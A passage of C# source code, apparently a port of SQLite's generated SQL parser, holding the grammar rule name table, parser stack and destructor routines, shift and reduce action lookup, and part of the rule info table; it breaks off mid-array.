::= explain cmdx SEMI", /* 5 */ "explain ::=", /* 6 */ "explain ::= EXPLAIN", /* 7 */ "explain ::= EXPLAIN QUERY PLAN", /* 8 */ "cmdx ::= cmd", /* 9 */ "cmd ::= BEGIN transtype trans_opt", /* 10 */ "trans_opt ::=", /* 11 */ "trans_opt ::= TRANSACTION", /* 12 */ "trans_opt ::= TRANSACTION nm", /* 13 */ "transtype ::=", /* 14 */ "transtype ::= DEFERRED", /* 15 */ "transtype ::= IMMEDIATE", /* 16 */ "transtype ::= EXCLUSIVE", /* 17 */ "cmd ::= COMMIT trans_opt", /* 18 */ "cmd ::= END trans_opt", /* 19 */ "cmd ::= ROLLBACK trans_opt", /* 20 */ "savepoint_opt ::= SAVEPOINT", /* 21 */ "savepoint_opt ::=", /* 22 */ "cmd ::= SAVEPOINT nm", /* 23 */ "cmd ::= RELEASE savepoint_opt nm", /* 24 */ "cmd ::= ROLLBACK trans_opt TO savepoint_opt nm", /* 25 */ "cmd ::= create_table create_table_args", /* 26 */ "create_table ::= createkw temp TABLE ifnotexists nm dbnm", /* 27 */ "createkw ::= CREATE", /* 28 */ "ifnotexists ::=", /* 29 */ "ifnotexists ::= IF NOT EXISTS", /* 30 */ "temp ::= TEMP", /* 31 */ "temp ::=", /* 32 */ "create_table_args ::= LP columnlist conslist_opt RP", /* 33 */ "create_table_args ::= AS select", /* 34 */ "columnlist ::= columnlist COMMA column", /* 35 */ "columnlist ::= column", /* 36 */ "column ::= columnid type carglist", /* 37 */ "columnid ::= nm", /* 38 */ "id ::= ID", /* 39 */ "id ::= INDEXED", /* 40 */ "ids ::= ID|STRING", /* 41 */ "nm ::= id", /* 42 */ "nm ::= STRING", /* 43 */ "nm ::= JOIN_KW", /* 44 */ "type ::=", /* 45 */ "type ::= typetoken", /* 46 */ "typetoken ::= typename", /* 47 */ "typetoken ::= typename LP signed RP", /* 48 */ "typetoken ::= typename LP signed COMMA signed RP", /* 49 */ "typename ::= ids", /* 50 */ "typename ::= typename ids", /* 51 */ "signed ::= plus_num", /* 52 */ "signed ::= minus_num", /* 53 */ "carglist ::= carglist carg", /* 54 */ "carglist ::=", /* 55 */ "carg ::= CONSTRAINT nm ccons", /* 56 */ "carg ::= ccons", /* 57 */ "ccons ::= DEFAULT term", /* 58 */ "ccons ::= DEFAULT LP expr RP", /* 59 */ "ccons ::= DEFAULT PLUS term", /* 60 */ "ccons ::= DEFAULT MINUS term", /* 61 */ "ccons ::= DEFAULT id", /* 62 */ "ccons ::= NULL onconf", /* 63 */ "ccons ::= NOT NULL onconf", /* 64 */ "ccons ::= PRIMARY KEY sortorder onconf autoinc", /* 65 */ "ccons ::= UNIQUE onconf", /* 66 */ "ccons ::= CHECK LP expr RP", /* 67 */ "ccons ::= REFERENCES nm idxlist_opt refargs", /* 68 */ "ccons ::= defer_subclause", /* 69 */ "ccons ::= COLLATE ids", /* 70 */ "autoinc ::=", /* 71 */ "autoinc ::= AUTOINCR", /* 72 */ "refargs ::=", /* 73 */ "refargs ::= refargs refarg", /* 74 */ "refarg ::= MATCH nm", /* 75 */ "refarg ::= ON DELETE refact", /* 76 */ "refarg ::= ON UPDATE refact", /* 77 */ "refarg ::= ON INSERT refact", /* 78 */ "refact ::= SET NULL", /* 79 */ "refact ::= SET DEFAULT", /* 80 */ "refact ::= CASCADE", /* 81 */ "refact ::= RESTRICT", /* 82 */ "defer_subclause ::= NOT DEFERRABLE init_deferred_pred_opt", /* 83 */ "defer_subclause ::= DEFERRABLE init_deferred_pred_opt", /* 84 */ "init_deferred_pred_opt ::=", /* 85 */ "init_deferred_pred_opt ::= INITIALLY DEFERRED", /* 86 */ "init_deferred_pred_opt ::= INITIALLY IMMEDIATE", /* 87 */ "conslist_opt ::=", /* 88 */ "conslist_opt ::= COMMA conslist", /* 89 */ "conslist ::= conslist COMMA tcons", /* 90 */ "conslist ::= conslist tcons", /* 91 */ "conslist ::= tcons", /* 92 */ "tcons ::= CONSTRAINT nm", /* 93 */ "tcons ::= PRIMARY KEY LP idxlist autoinc RP onconf", /* 94 */ "tcons ::= UNIQUE LP idxlist RP onconf", /* 95 */ "tcons ::= CHECK LP expr RP onconf", /* 96 */ "tcons ::= FOREIGN KEY LP idxlist RP REFERENCES nm idxlist_opt refargs defer_subclause_opt", /* 97 */ "defer_subclause_opt ::=", /* 98 */ "defer_subclause_opt ::= defer_subclause", /* 99 */ "onconf ::=", /* 100 */ "onconf ::= ON CONFLICT resolvetype", /* 101 */ "orconf ::=", /* 102 */ "orconf ::= OR resolvetype", /* 103 */ "resolvetype ::= raisetype", /* 104 */ "resolvetype ::= IGNORE", /* 105 */ "resolvetype ::= REPLACE", /* 106 */ "cmd ::= DROP TABLE ifexists fullname", /* 107 */ "ifexists ::= IF EXISTS", /* 108 */ "ifexists ::=", /* 109 */ "cmd ::= createkw temp VIEW ifnotexists nm dbnm AS select", /* 110 */ "cmd ::= DROP VIEW ifexists fullname", /* 111 */ "cmd ::= select", /* 112 */ "select ::= oneselect", /* 113 */ "select ::= select multiselect_op oneselect", /* 114 */ "multiselect_op ::= UNION", /* 115 */ "multiselect_op ::= UNION ALL", /* 116 */ "multiselect_op ::= EXCEPT|INTERSECT", /* 117 */ "oneselect ::= SELECT distinct selcollist from where_opt groupby_opt having_opt orderby_opt limit_opt", /* 118 */ "distinct ::= DISTINCT", /* 119 */ "distinct ::= ALL", /* 120 */ "distinct ::=", /* 121 */ "sclp ::= selcollist COMMA", /* 122 */ "sclp ::=", /* 123 */ "selcollist ::= sclp expr as", /* 124 */ "selcollist ::= sclp STAR", /* 125 */ "selcollist ::= sclp nm DOT STAR", /* 126 */ "as ::= AS nm", /* 127 */ "as ::= ids", /* 128 */ "as ::=", /* 129 */ "from ::=", /* 130 */ "from ::= FROM seltablist", /* 131 */ "stl_prefix ::= seltablist joinop", /* 132 */ "stl_prefix ::=", /* 133 */ "seltablist ::= stl_prefix nm dbnm as indexed_opt on_opt using_opt", /* 134 */ "seltablist ::= stl_prefix LP select RP as on_opt using_opt", /* 135 */ "seltablist ::= stl_prefix LP seltablist RP as on_opt using_opt", /* 136 */ "dbnm ::=", /* 137 */ "dbnm ::= DOT nm", /* 138 */ "fullname ::= nm dbnm", /* 139 */ "joinop ::= COMMA|JOIN", /* 140 */ "joinop ::= JOIN_KW JOIN", /* 141 */ "joinop ::= JOIN_KW nm JOIN", /* 142 */ "joinop ::= JOIN_KW nm nm JOIN", /* 143 */ "on_opt ::= ON expr", /* 144 */ "on_opt ::=", /* 145 */ "indexed_opt ::=", /* 146 */ "indexed_opt ::= INDEXED BY nm", /* 147 */ "indexed_opt ::= NOT INDEXED", /* 148 */ "using_opt ::= USING LP inscollist RP", /* 149 */ "using_opt ::=", /* 150 */ "orderby_opt ::=", /* 151 */ "orderby_opt ::= ORDER BY sortlist", /* 152 */ "sortlist ::= sortlist COMMA sortitem sortorder", /* 153 */ "sortlist ::= sortitem sortorder", /* 154 */ "sortitem ::= expr", /* 155 */ "sortorder ::= ASC", /* 156 */ "sortorder ::= DESC", /* 157 */ "sortorder ::=", /* 158 */ "groupby_opt ::=", /* 159 */ "groupby_opt ::= GROUP BY nexprlist", /* 160 */ "having_opt ::=", /* 161 */ "having_opt ::= HAVING expr", /* 162 */ "limit_opt ::=", /* 163 */ "limit_opt ::= LIMIT expr", /* 164 */ "limit_opt ::= LIMIT expr OFFSET expr", /* 165 */ "limit_opt ::= LIMIT expr COMMA expr", /* 166 */ "cmd ::= DELETE FROM fullname indexed_opt where_opt", /* 167 */ "where_opt ::=", /* 168 */ "where_opt ::= WHERE expr", /* 169 */ "cmd ::= UPDATE orconf fullname indexed_opt SET setlist where_opt", /* 170 */ "setlist ::= setlist COMMA nm EQ expr", /* 171 */ "setlist ::= nm EQ expr", /* 172 */ "cmd ::= insert_cmd INTO fullname inscollist_opt VALUES LP itemlist RP", /* 173 */ "cmd ::= insert_cmd INTO fullname inscollist_opt select", /* 174 */ "cmd ::= insert_cmd INTO fullname inscollist_opt DEFAULT VALUES", /* 175 */ "insert_cmd ::= INSERT orconf", /* 176 */ "insert_cmd ::= REPLACE", /* 177 */ "itemlist ::= itemlist COMMA expr", /* 178 */ "itemlist ::= expr", /* 179 */ "inscollist_opt ::=", /* 180 */ "inscollist_opt ::= LP inscollist RP", /* 181 */ "inscollist ::= inscollist COMMA nm", /* 182 */ "inscollist ::= nm", /* 183 */ "expr ::= term", /* 184 */ "expr ::= LP expr RP", /* 185 */ "term ::= NULL", /* 186 */ "expr ::= id", /* 187 */ "expr ::= JOIN_KW", /* 188 */ "expr ::= nm DOT nm", /* 189 */ "expr ::= nm DOT nm DOT nm", /* 190 */ "term ::= INTEGER|FLOAT|BLOB", /* 191 */ "term ::= STRING", /* 192 */ "expr ::= REGISTER", /* 193 */ "expr ::= VARIABLE", /* 194 */ "expr ::= expr COLLATE ids", /* 195 */ "expr ::= CAST LP expr AS typetoken RP", /* 196 */ "expr ::= ID LP distinct exprlist RP", /* 197 */ "expr ::= ID LP STAR RP", /* 198 */ "term ::= CTIME_KW", /* 199 */ "expr ::= expr AND expr", /* 200 */ "expr ::= expr OR expr", /* 201 */ "expr ::= expr LT|GT|GE|LE expr", /* 202 */ "expr ::= expr EQ|NE expr", /* 203 */ "expr ::= expr BITAND|BITOR|LSHIFT|RSHIFT expr", /* 204 */ "expr ::= expr PLUS|MINUS expr", /* 205 */ "expr ::= expr STAR|SLASH|REM expr", /* 206 */ "expr ::= expr CONCAT expr", /* 207 */ "likeop ::= LIKE_KW", /* 208 */ "likeop ::= NOT LIKE_KW", /* 209 */ "likeop ::= MATCH", /* 210 */ "likeop ::= NOT MATCH", /* 211 */ "escape ::= ESCAPE expr", /* 212 */ "escape ::=", /* 213 */ "expr ::= expr likeop expr escape", /* 214 */ "expr ::= expr ISNULL|NOTNULL", /* 215 */ "expr ::= expr IS NULL", /* 216 */ "expr ::= expr NOT NULL", /* 217 */ "expr ::= expr IS NOT NULL", /* 218 */ "expr ::= NOT expr", /* 219 */ "expr ::= BITNOT expr", /* 220 */ "expr ::= MINUS expr", /* 221 */ "expr ::= PLUS expr", /* 222 */ "between_op ::= BETWEEN", /* 223 */ "between_op ::= NOT BETWEEN", /* 224 */ "expr ::= expr between_op expr AND expr", /* 225 */ "in_op ::= IN", /* 226 */ "in_op ::= NOT IN", /* 227 */ "expr ::= expr in_op LP exprlist RP", /* 228 */ "expr ::= LP select RP", /* 229 */ "expr ::= expr in_op LP select RP", /* 230 */ "expr ::= expr in_op nm dbnm", /* 231 */ "expr ::= EXISTS LP select RP", /* 232 */ "expr ::= CASE case_operand case_exprlist case_else END", /* 233 */ "case_exprlist ::= case_exprlist WHEN expr THEN expr", /* 234 */ "case_exprlist ::= WHEN expr THEN expr", /* 235 */ "case_else ::= ELSE expr", /* 236 */ "case_else ::=", /* 237 */ "case_operand ::= expr", /* 238 */ "case_operand ::=", /* 239 */ "exprlist ::= nexprlist", /* 240 */ "exprlist ::=", /* 241 */ "nexprlist ::= nexprlist COMMA expr", /* 242 */ "nexprlist ::= expr", /* 243 */ "cmd ::= createkw uniqueflag INDEX ifnotexists nm dbnm ON nm LP idxlist RP", /* 244 */ "uniqueflag ::= UNIQUE", /* 245 */ "uniqueflag ::=", /* 246 */ "idxlist_opt ::=", /* 247 */ "idxlist_opt ::= LP idxlist RP", /* 248 */ "idxlist ::= idxlist COMMA nm collate sortorder", /* 249 */ "idxlist ::= nm collate sortorder", /* 250 */ "collate ::=", /* 251 */ "collate ::= COLLATE ids", /* 252 */ "cmd ::= DROP INDEX ifexists fullname", /* 253 */ "cmd ::= VACUUM", /* 254 */ "cmd ::= VACUUM nm", /* 255 */ "cmd ::= PRAGMA nm dbnm", /* 256 */ "cmd ::= PRAGMA nm dbnm EQ nmnum", /* 257 */ "cmd ::= PRAGMA nm dbnm LP nmnum RP", /* 258 */ "cmd ::= PRAGMA nm dbnm EQ minus_num", /* 259 */ "cmd ::= PRAGMA nm dbnm LP minus_num RP", /* 260 */ "nmnum ::= plus_num", /* 261 */ "nmnum ::= nm", /* 262 */ "nmnum ::= ON", /* 263 */ "nmnum ::= DELETE", /* 264 */ "nmnum ::= DEFAULT", /* 265 */ "plus_num ::= plus_opt number", /* 266 */ "minus_num ::= MINUS number", /* 267 */ "number ::= INTEGER|FLOAT", /* 268 */ "plus_opt ::= PLUS", /* 269 */ "plus_opt ::=", /* 270 */ "cmd ::= createkw trigger_decl BEGIN trigger_cmd_list END", /* 271 */ "trigger_decl ::= temp TRIGGER ifnotexists nm dbnm trigger_time trigger_event ON fullname foreach_clause when_clause", /* 272 */ "trigger_time ::= BEFORE", /* 273 */ "trigger_time ::= AFTER", /* 274 */ "trigger_time ::= INSTEAD OF", /* 275 */ "trigger_time ::=", /* 276 */ "trigger_event ::= DELETE|INSERT", /* 277 */ "trigger_event ::= UPDATE", /* 278 */ "trigger_event ::= UPDATE OF inscollist", /* 279 */ "foreach_clause ::=", /* 280 */ "foreach_clause ::= FOR EACH ROW", /* 281 */ "when_clause ::=", /* 282 */ "when_clause ::= WHEN expr", /* 283 */ "trigger_cmd_list ::= trigger_cmd_list trigger_cmd SEMI", /* 284 */ "trigger_cmd_list ::= trigger_cmd SEMI", /* 285 */ "trnm ::= nm", /* 286 */ "trnm ::= nm DOT nm", /* 287 */ "tridxby ::=", /* 288 */ "tridxby ::= INDEXED BY nm", /* 289 */ "tridxby ::= NOT INDEXED", /* 290 */ "trigger_cmd ::= UPDATE orconf trnm tridxby SET setlist where_opt", /* 291 */ "trigger_cmd ::= insert_cmd INTO trnm inscollist_opt VALUES LP itemlist RP", /* 292 */ "trigger_cmd ::= insert_cmd INTO trnm inscollist_opt select", /* 293 */ "trigger_cmd ::= DELETE FROM trnm tridxby where_opt", /* 294 */ "trigger_cmd ::= select", /* 295 */ "expr ::= RAISE LP IGNORE RP", /* 296 */ "expr ::= RAISE LP raisetype COMMA nm RP", /* 297 */ "raisetype ::= ROLLBACK", /* 298 */ "raisetype ::= ABORT", /* 299 */ "raisetype ::= FAIL", /* 300 */ "cmd ::= DROP TRIGGER ifexists fullname", /* 301 */ "cmd ::= ATTACH database_kw_opt expr AS expr key_opt", /* 302 */ "cmd ::= DETACH database_kw_opt expr", /* 303 */ "key_opt ::=", /* 304 */ "key_opt ::= KEY expr", /* 305 */ "database_kw_opt ::= DATABASE", /* 306 */ "database_kw_opt ::=", /* 307 */ "cmd ::= REINDEX", /* 308 */ "cmd ::= REINDEX nm dbnm", /* 309 */ "cmd ::= ANALYZE", /* 310 */ "cmd ::= ANALYZE nm dbnm", /* 311 */ "cmd ::= ALTER TABLE fullname RENAME TO nm", /* 312 */ "cmd ::= ALTER TABLE add_column_fullname ADD kwcolumn_opt column", /* 313 */ "add_column_fullname ::= fullname", /* 314 */ "kwcolumn_opt ::=", /* 315 */ "kwcolumn_opt ::= COLUMNKW", /* 316 */ "cmd ::= create_vtab", /* 317 */ "cmd ::= create_vtab LP vtabarglist RP", /* 318 */ "create_vtab ::= createkw VIRTUAL TABLE nm dbnm USING nm", /* 319 */ "vtabarglist ::= vtabarg", /* 320 */ "vtabarglist ::= vtabarglist COMMA vtabarg", /* 321 */ "vtabarg ::=", /* 322 */ "vtabarg ::= vtabarg vtabargtoken", /* 323 */ "vtabargtoken ::= ANY", /* 324 */ "vtabargtoken ::= lp anylist RP", /* 325 */ "lp ::= LP", /* 326 */ "anylist ::=", /* 327 */ "anylist ::= anylist LP anylist RP", /* 328 */ "anylist ::= anylist ANY", }; #endif // * NDEBUG */ #if YYSTACKDEPTH//<=0 /* ** Try to increase the size of the parser stack. */ static void yyGrowStack(yyParser p){ int newSize; //yyStackEntry pNew; newSize = p.yystksz*2 + 100; //pNew = realloc(p.yystack, newSize*sizeof(pNew[0])); //if( pNew !=null){ p.yystack = Array.Resize(p.yystack,newSize); //pNew; p.yystksz = newSize; #if !NDEBUG if( yyTraceFILE ){ fprintf(yyTraceFILE,"%sStack grows to %d entries!\n", yyTracePrompt, p.yystksz); } #endif //} } #endif /* ** This function allocates a new parser. ** The only argument is a pointer to a function which works like ** malloc. ** ** Inputs: ** A pointer to the function used to allocate memory. ** ** Outputs: ** A pointer to a parser. This pointer is used in subsequent calls ** to sqlite3Parser and sqlite3ParserFree. */ static yyParser sqlite3ParserAlloc() {//void *(*mallocProc)(size_t)){ yyParser pParser = new yyParser(); //pParser = (yyParser*)(*mallocProc)( (size_t)yyParser.Length ); if (pParser != null) { pParser.yyidx = -1; #if YYTRACKMAXSTACKDEPTH pParser.yyidxMax=0; #endif #if YYSTACKDEPTH//<=0 pParser.yystack = NULL; pParser.yystksz = 0; yyGrowStack(pParser); #endif } return pParser; } /* The following function deletes the value associated with a ** symbol. The symbol can be either a terminal or nonterminal. ** "yymajor" is the symbol code, and "yypminor" is a pointer to ** the value. */ static void yy_destructor( yyParser yypParser, /* The parser */ YYCODETYPE yymajor, /* Type code for object to destroy */ YYMINORTYPE yypminor /* The object to be destroyed */ ) { Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; switch (yymajor) { /* Here is inserted the actions which take place when a ** terminal or non-terminal is destroyed. This can happen ** when the symbol is popped from the stack during a ** reduce or during error processing or when a parser is ** being destroyed before it is finished parsing. ** ** Note: during a reduce, the only symbols destroyed are those ** which appear on the RHS of the rule, but which are not used ** inside the C code. */ case 160: /* select */ case 194: /* oneselect */ { //#line 404 "parse.y" sqlite3SelectDelete(pParse.db, ref (yypminor.yy3)); //#line 1373 "parse.c" } break; case 174: /* term */ case 175: /* expr */ case 223: /* escape */ { //#line 721 "parse.y" sqlite3ExprDelete(pParse.db, ref (yypminor.yy346).pExpr); //#line 1382 "parse.c" } break; case 179: /* idxlist_opt */ case 187: /* idxlist */ case 197: /* selcollist */ case 200: /* groupby_opt */ case 202: /* orderby_opt */ case 204: /* sclp */ case 214: /* sortlist */ case 216: /* nexprlist */ case 217: /* setlist */ case 220: /* itemlist */ case 221: /* exprlist */ case 227: /* case_exprlist */ { //#line 1062 "parse.y" sqlite3ExprListDelete(pParse.db, ref (yypminor.yy14)); //#line 1400 "parse.c" } break; case 193: /* fullname */ case 198: /* from */ case 206: /* seltablist */ case 207: /* stl_prefix */ { //#line 535 "parse.y" sqlite3SrcListDelete(pParse.db, ref (yypminor.yy65)); //#line 1410 "parse.c" } break; case 199: /* where_opt */ case 201: /* having_opt */ case 210: /* on_opt */ case 215: /* sortitem */ case 226: /* case_operand */ case 228: /* case_else */ case 239: /* when_clause */ case 242: /* key_opt */ { //#line 645 "parse.y" sqlite3ExprDelete(pParse.db, ref (yypminor.yy132)); //#line 1424 "parse.c" } break; case 211: /* using_opt */ case 213: /* inscollist */ case 219: /* inscollist_opt */ { //#line 567 "parse.y" sqlite3IdListDelete(pParse.db, ref (yypminor.yy408)); //#line 1433 "parse.c" } break; case 235: /* trigger_cmd_list */ case 240: /* trigger_cmd */ { //#line 1169 "parse.y" sqlite3DeleteTriggerStep(pParse.db, ref (yypminor.yy473)); //#line 1441 "parse.c" } break; case 237: /* trigger_event */ { //#line 1155 "parse.y" sqlite3IdListDelete(pParse.db, ref (yypminor.yy378).b); //#line 1448 "parse.c" } break; default: break; /* If no destructor action specified: do nothing */ } } /* ** Pop the parser's stack once. ** ** If there is a destructor routine associated with the token which ** is popped from the stack, then call it. ** ** Return the major token number for the symbol popped. */ static int yy_pop_parser_stack(yyParser pParser) { YYCODETYPE yymajor; yyStackEntry yytos = pParser.yystack[pParser.yyidx]; /* There is no mechanism by which the parser stack can be popped below ** empty in SQLite. */ if (NEVER(pParser.yyidx < 0)) return 0; #if !NDEBUG if (yyTraceFILE != null && pParser.yyidx >= 0) { fprintf(yyTraceFILE, "%sPopping %s\n", yyTracePrompt, yyTokenName[yytos.major]); } #endif yymajor = yytos.major; yy_destructor(pParser, yymajor, yytos.minor); pParser.yyidx--; return yymajor; } /* ** Deallocate and destroy a parser. Destructors are all called for ** all stack elements before shutting the parser down. ** ** Inputs: **
      **
    • A pointer to the parser. This should be a pointer ** obtained from sqlite3ParserAlloc. **
    • A pointer to a function used to reclaim memory obtained ** from malloc. **
    */ static void sqlite3ParserFree( yyParser p, /* The parser to be deleted */ dxDel freeProc//)(void*) /* Function used to reclaim memory */ ) { yyParser pParser = p; /* In SQLite, we never try to destroy a parser that was not successfully ** created in the first place. */ if (NEVER(pParser == null)) return; while (pParser.yyidx >= 0) yy_pop_parser_stack(pParser); #if YYSTACKDEPTH//<=0 pParser.yystack = null;//free(pParser.yystack); #endif pParser = null;// freeProc(ref pParser); } /* ** Return the peak depth of the stack for a parser. */ #if YYTRACKMAXSTACKDEPTH int sqlite3ParserStackPeak(void p){ yyParser pParser = (yyParser*)p; return pParser.yyidxMax; } #endif /* ** Find the appropriate action for a parser given the terminal ** look-ahead token iLookAhead. ** ** If the look-ahead token is YYNOCODE, then check to see if the action is ** independent of the look-ahead. If it is, return the action, otherwise ** return YY_NO_ACTION. */ static int yy_find_shift_action( yyParser pParser, /* The parser */ YYCODETYPE iLookAhead /* The look-ahead token */ ) { int i; int stateno = pParser.yystack[pParser.yyidx].stateno; if (stateno > YY_SHIFT_MAX || (i = yy_shift_ofst[stateno]) == YY_SHIFT_USE_DFLT) { return yy_default[stateno]; } Debug.Assert(iLookAhead != YYNOCODE); i += iLookAhead; if (i < 0 || i >= YY_SZ_ACTTAB || yy_lookahead[i] != iLookAhead) { /* The user of ";" instead of "\000" as a statement terminator in SQLite ** means that we always have a look-ahead token. */ if (iLookAhead > 0) { #if YYFALLBACK YYCODETYPE iFallback; /* Fallback token */ if (iLookAhead < yyFallback.Length //yyFallback.Length/sizeof(yyFallback[0]) && (iFallback = yyFallback[iLookAhead]) != 0) { #if !NDEBUG if (yyTraceFILE != null) { fprintf(yyTraceFILE, "%sFALLBACK %s => %s\n", yyTracePrompt, yyTokenName[iLookAhead], yyTokenName[iFallback]); } #endif return yy_find_shift_action(pParser, iFallback); } #endif #if YYWILDCARD { int j = i - iLookAhead + YYWILDCARD; if (j >= 0 && j < YY_SZ_ACTTAB && yy_lookahead[j] == YYWILDCARD) { #if !NDEBUG if (yyTraceFILE != null) { Debugger.Break(); // TODO -- //fprintf(yyTraceFILE, "%sWILDCARD %s => %s\n", // yyTracePrompt, yyTokenName[iLookAhead], yyTokenName[YYWILDCARD]); } #endif // * NDEBUG */ return yy_action[j]; } } #endif // * YYWILDCARD */ } return yy_default[stateno]; } else { return yy_action[i]; } } /* ** Find the appropriate action for a parser given the non-terminal ** look-ahead token iLookAhead. ** ** If the look-ahead token is YYNOCODE, then check to see if the action is ** independent of the look-ahead. If it is, return the action, otherwise ** return YY_NO_ACTION. */ static int yy_find_reduce_action( int stateno, /* Current state number */ YYCODETYPE iLookAhead /* The look-ahead token */ ) { int i; #if YYERRORSYMBOL if( stateno>YY_REDUCE_MAX ){ return yy_default[stateno]; } #else Debug.Assert(stateno <= YY_REDUCE_MAX); #endif i = yy_reduce_ofst[stateno]; Debug.Assert(i != YY_REDUCE_USE_DFLT); Debug.Assert(iLookAhead != YYNOCODE); i += iLookAhead; #if YYERRORSYMBOL if( i<0 || i>=YY_SZ_ACTTAB || yy_lookahead[i]!=iLookAhead ){ return yy_default[stateno]; } #else Debug.Assert(i >= 0 && i < YY_SZ_ACTTAB); Debug.Assert(yy_lookahead[i] == iLookAhead); #endif return yy_action[i]; } /* ** The following routine is called if the stack overflows. */ static void yyStackOverflow(yyParser yypParser, YYMINORTYPE yypMinor) { Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; yypParser.yyidx--; #if !NDEBUG if (yyTraceFILE != null) { Debugger.Break(); // TODO -- //fprintf(yyTraceFILE, "%sStack Overflow!\n", yyTracePrompt); } #endif while (yypParser.yyidx >= 0) yy_pop_parser_stack(yypParser); /* Here code is inserted which will execute if the parser ** stack every overflows */ //#line 40 "parse.y" UNUSED_PARAMETER(yypMinor); /* Silence some compiler warnings */ sqlite3ErrorMsg(pParse, "parser stack overflow"); pParse.parseError = 1; //#line 1632 "parse.c" yypParser.pParse = pParse;// sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument var */ } /* ** Perform a shift action. */ static void yy_shift( yyParser yypParser, /* The parser to be shifted */ int yyNewState, /* The new state to shift in */ int yyMajor, /* The major token to shift in */ YYMINORTYPE yypMinor /* Pointer to the minor token to shift in */ ) { yyStackEntry yytos = new yyStackEntry(); yypParser.yyidx++; #if YYTRACKMAXSTACKDEPTH if( yypParser.yyidx>yypParser.yyidxMax ){ yypParser.yyidxMax = yypParser.yyidx; } #endif #if !YYSTACKDEPTH//was YYSTACKDEPTH>0 if (yypParser.yyidx >= YYSTACKDEPTH) { yyStackOverflow(yypParser, yypMinor); return; } #else if( yypParser.yyidx>=yypParser.yystksz ){ yyGrowStack(yypParser); if( yypParser.yyidx>=yypParser.yystksz ){ yyStackOverflow(yypParser, yypMinor); return; } } #endif yypParser.yystack[yypParser.yyidx] = yytos;//yytos = yypParser.yystack[yypParser.yyidx]; yytos.stateno = (YYACTIONTYPE)yyNewState; yytos.major = (YYCODETYPE)yyMajor; yytos.minor = yypMinor; #if !NDEBUG if (yyTraceFILE != null && yypParser.yyidx > 0) { int i; fprintf(yyTraceFILE, "%sShift %d\n", yyTracePrompt, yyNewState); fprintf(yyTraceFILE, "%sStack:", yyTracePrompt); for (i = 1; i <= yypParser.yyidx; i++) fprintf(yyTraceFILE, " %s", yyTokenName[yypParser.yystack[i].major]); fprintf(yyTraceFILE, "\n"); } #endif } /* The following table contains information about every rule that ** is used during the reduce. */ public struct _yyRuleInfo { public YYCODETYPE lhs; /* Symbol on the left-hand side of the rule */ public byte nrhs; /* Number of right-hand side symbols in the rule */ public _yyRuleInfo(YYCODETYPE lhs, byte nrhs) { this.lhs = lhs; this.nrhs = nrhs; } } static _yyRuleInfo[] yyRuleInfo = new _yyRuleInfo[]{ new _yyRuleInfo( 142, 1 ), new _yyRuleInfo( 143, 2 ), new _yyRuleInfo( 143, 1 ), new _yyRuleInfo( 144, 1 ), new _yyRuleInfo( 144, 3 ), new _yyRuleInfo( 145, 0 ), new _yyRuleInfo( 145, 1 ), new _yyRuleInfo( 145, 3 ), new _yyRuleInfo( 146, 1 ), new _yyRuleInfo( 147, 3 ), new _yyRuleInfo( 149, 0 ), new _yyRuleInfo( 149, 1 ), new _yyRuleInfo( 149, 2 ), new _yyRuleInfo( 148, 0 ), new _yyRuleInfo( 148, 1 ), new _yyRuleInfo( 148, 1 ), new _yyRuleInfo( 148, 1 ), new _yyRuleInfo( 147, 2 ), new _yyRuleInfo( 147, 2 ), new _yyRuleInfo( 147, 2 ), new _yyRuleInfo( 151, 1 ), new _yyRuleInfo( 151, 0 ), new _yyRuleInfo( 147, 2 ), new _yyRuleInfo( 147, 3 ), new _yyRuleInfo( 147, 5 ), new _yyRuleInfo( 147, 2 ), new _yyRuleInfo( 152, 6 ), new _yyRuleInfo( 154, 1 ), new _yyRuleInfo( 156, 0 ), new _yyRuleInfo( 156, 3 ), new _yyRuleInfo( 155, 1 ), new _yyRuleInfo( 155, 0 ), new _yyRuleInfo( 153, 4 ), new _yyRuleInfo( 153, 2 ), new _yyRuleInfo( 158, 3 ), new _yyRuleInfo( 158, 1 ), new _yyRuleInfo( 161, 3 ), new _yyRuleInfo( 162, 1 ), new _yyRuleInfo( 165, 1 ), new _yyRuleInfo( 165, 1 ), new _yyRuleInfo( 166, 1 ), new _yyRuleInfo( 150, 1 ), new _yyRuleInfo( 150, 1 ), new _yyRuleInfo( 150, 1 ), new _yyRuleInfo( 163, 0 ), new _yyRuleInfo( 163, 1 ), new _yyRuleInfo( 167, 1 ), new _yyRuleInfo( 167, 4 ), new _yyRuleInfo( 167, 6 ), new _yyRuleInfo( 168, 1 ), new _yyRuleInfo( 168, 2 ), new _yyRuleInfo( 169, 1 ), new _yyRuleInfo( 169, 1 ), new _yyRuleInfo( 164, 2 ), new _yyRuleInfo( 164, 0 ), new _yyRuleInfo( 172, 3 ), new _yyRuleInfo( 172, 1 ), new _yyRuleInfo( 173, 2 ), new _yyRuleInfo( 173, 4 ), new _yyRuleInfo( 173, 3 ), new _yyRuleInfo( 173, 3 ), new _yyRuleInfo( 173, 2 ), new _yyRuleInfo( 173, 2 ), new _yyRuleInfo( 173, 3 ), new _yyRuleInfo( 173, 5 ), new _yyRuleInfo( 173, 2 ), new _yyRuleInfo( 173, 4 ), new _yyRuleInfo( 173, 4 ), new _yyRuleInfo( 173, 1 ), new _yyRuleInfo( 173, 2 ), new _yyRuleInfo( 178, 0 ), new _yyRuleInfo( 178, 1 ), new _yyRuleInfo( 180, 0 ), new _yyRuleInfo( 180, 2 ), new _yyRuleInfo( 182, 2 ), new _yyRuleInfo( 182, 3 ), new _yyRuleInfo( 182, 3 ), new _yyRuleInfo( 182, 3 ), new _yyRuleInfo( 183, 2 ), new _yyRuleInfo( 183, 2 ), new _yyRuleInfo( 183, 1 ), new _yyRuleInfo( 183, 1 ), new _yyRuleInfo( 181, 3 ), new _yyRuleInfo( 181, 2 ), new _yyRuleInfo( 184, 0 ), new _yyRuleInfo( 184, 2 ), new _yyRuleInfo( 184, 2 ), new _yyRuleInfo( 159, 0 ), new _yyRuleInfo( 159, 2 ), new _yyRuleInfo( 185, 3 ), new _yyRuleInfo( 185, 2 ), new _yyRuleInfo( 185, 1 ), new _yyRuleInfo( 186, 2 ), new _yyRuleInfo( 186, 7 ), new _yyRuleInfo( 186, 5 ), new _yyRuleInfo( 186, 5 ), new _yyRuleInfo( 186, 10 ), new _yyRuleInfo( 188, 0 ), new _yyRuleInfo( 188, 1 ), new _yyRuleInfo( 176, 0 ), new _yyRuleInfo( 176, 3 ), new _yyRuleInfo( 189, 0 ), new _yyRuleInfo( 189, 2 ), new 